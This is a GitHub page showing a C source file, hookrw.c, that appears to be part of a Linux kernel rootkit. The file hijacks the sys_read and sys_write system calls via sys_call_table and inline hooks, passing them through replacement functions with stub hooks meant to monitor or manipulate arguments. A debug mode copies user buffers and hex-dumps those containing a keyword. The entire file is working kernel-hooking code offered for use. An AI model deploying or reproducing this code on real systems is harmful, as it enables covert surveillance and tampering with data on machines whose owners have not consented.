-
Notifications
You must be signed in to change notification settings - Fork 212
/
Copy pathhookrw.c
120 lines (100 loc) · 2.97 KB
/
hookrw.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include "common.h"
#include <asm/uaccess.h>
asmlinkage long (*sys_write)(unsigned int fd, const char __user *buf, size_t count);
asmlinkage long (*sys_read)(unsigned int fd, char __user *buf, size_t count);
void hook_read ( unsigned int *fd, char __user *buf, size_t *count )
{
/* Monitor/manipulate sys_read() arguments here */
}
void hook_write ( unsigned int *fd, const char __user *buf, size_t *count )
{
/* Monitor/manipulate sys_write() arguments here */
}
asmlinkage long n_sys_read ( unsigned int fd, char __user *buf, size_t count )
{
long ret;
#if __DEBUG_RW__
void *debug;
debug = kmalloc(count, GFP_KERNEL);
if ( ! debug )
{
DEBUG_RW("ERROR: Failed to allocate %lu bytes for sys_read debugging\n", count);
}
else
{
if ( copy_from_user(debug, buf, count) )
{
DEBUG_RW("ERROR: Failed to copy %lu bytes from user for sys_read debugging\n", count);
kfree(debug);
}
else
{
if ( memstr(debug, "filter keyword", count) )
{
unsigned long i;
DEBUG_RW("DEBUG sys_read: fd=%d, count=%zu, buf=\n", fd, count);
for ( i = 0; i < count; i++ )
DEBUG_RW("%x", *((unsigned char *)debug + i));
DEBUG_RW("\n");
}
kfree(debug);
}
}
#endif
hook_read(&fd, buf, &count);
hijack_pause(sys_read);
ret = sys_read(fd, buf, count);
hijack_resume(sys_read);
return ret;
}
asmlinkage long n_sys_write ( unsigned int fd, const char __user *buf, size_t count )
{
long ret;
#if __DEBUG_RW__
void *debug;
debug = kmalloc(count, GFP_KERNEL);
if ( ! debug )
{
DEBUG_RW("ERROR: Failed to allocate %lu bytes for sys_write debugging\n", count);
}
else
{
if ( copy_from_user(debug, buf, count) )
{
DEBUG_RW("ERROR: Failed to copy %lu bytes from user for sys_write debugging\n", count);
kfree(debug);
}
else
{
if ( memstr(debug, "filter keyword", count) )
{
unsigned long i;
DEBUG_RW("DEBUG sys_write: fd=%d, count=%zu, buf=\n", fd, count);
for ( i = 0; i < count; i++ )
DEBUG_RW("%x", *((unsigned char *)debug + i));
DEBUG_RW("\n");
}
kfree(debug);
}
}
#endif
hook_write(&fd, buf, &count);
hijack_pause(sys_write);
ret = sys_write(fd, buf, count);
hijack_resume(sys_write);
return ret;
}
void hookrw_init ( void )
{
DEBUG("Hooking sys_read and sys_write\n");
sys_read = (void *)sys_call_table[__NR_read];
hijack_start(sys_read, &n_sys_read);
sys_write = (void *)sys_call_table[__NR_write];
hijack_start(sys_write, &n_sys_write);
}
void hookrw_exit ( void )
{
DEBUG("Unhooking sys_read and sys_write\n");
hijack_stop(sys_read);
hijack_stop(sys_write);
}